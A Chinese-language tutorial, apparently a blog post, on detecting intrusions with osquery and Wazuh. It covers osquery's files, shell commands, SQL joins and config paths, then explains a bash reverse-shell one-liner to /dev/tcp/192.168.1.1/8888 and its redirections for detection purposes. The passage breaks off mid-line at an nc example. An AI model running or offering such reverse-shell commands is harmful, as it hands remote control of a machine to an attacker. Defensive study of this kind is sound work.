用osquery根据制定的规则定时检测系统并生成包含查询结果的日志文件,wazuh再对这些日志文件进行解析之后匹配规则告警。
osquery
下载安装的过程就略过了。这里简单介绍下osquery,详细请参考官方文档
文件结构
/etc/osquery/
/usr/share/osquery/osquery.example.conf
/usr/share/osquery/lenses/{*}.aug
/usr/share/osquery/packs/{*}.conf
/var/log/osquery/
/usr/lib/osquery/
/usr/bin/osqueryctl
/usr/bin/osqueryd
/usr/bin/osqueryi
osqueryi
一个修改的后的sqliteshell,可以执行查询语句
.tables,所有表
.schema,显示表结构
pragma table_info(table_name),可视化显示表结构
osqueryd
守护进程,用来定时查询并记录操作系统的更改。
SQL查询
只支持select语句,实际上经常用到多表连接查询join,连接运算是从两个关系的笛卡尔积中选择属性间满足一定条件的元组。
普通join,也是inner join,返回两个表中同时满足条件的元组对,不满足的将被丢弃。
a join b using (id),后面接a,b两张表中都存在的字段 (字段名称一样都是id,而且必须相等)
a JOIN b ON (a.id = b.id),后面接a,b两张表中需要关联的字段 (字段名称不需要一样 a.aid = b.bid,可以指定任意的连接条件(=,>=,<=,!=,>,<...>
LEFT OUTER JOIN,返回左表所有行以及右表满足条件的行,左表有值右表无值填充为null
RIGHT OUTER JOIN,返回右表所有行以及左表满足条件的行,右表有值左表无值填充为null
FULL OUTER JOIN,返回所有表的所有行,在满足条件的行之外,左表满足右表不满足或者相反,均填充null
SELF JOIN,相当于A JOIN A
命令行参数选项
因为可选参数太多,所以放在一个文件里面,--flagfile /etc/osquery/osquery.flags
配置文件
Windows: C:\ProgramData\osquery\osquery.conf
Linux: /etc/osquery/osquery.conf and /etc/osquery/osquery.conf.d/
MacOS: /var/osquery/osquery.conf and /var/osquery/osquery.conf.d/
反弹shell
市面上最常见的bash反弹为例:bash -i >& /dev/tcp/192.168.1.1/8888 0>&1
>&和&>都是表示的是把标准输出1和标准错误2同时重定向到某个文件,相当于>word 2>&1
bash -i >& /dev/tcp/192.168.1.1/8888 等价于
bash -i >/dev/tcp/192.168.1.1/8888 2>&1
bash -i > /dev/tcp/192.168.1.1/8888 0>&1,将bash -i的标准输出1重定向到远端,0>&1代表标准输入0也复制到标准输出1,并且不能简写为>&1,反而0
标准错误2有回显输入命令和终端提示符的作用。
除此之外,还有
nc 192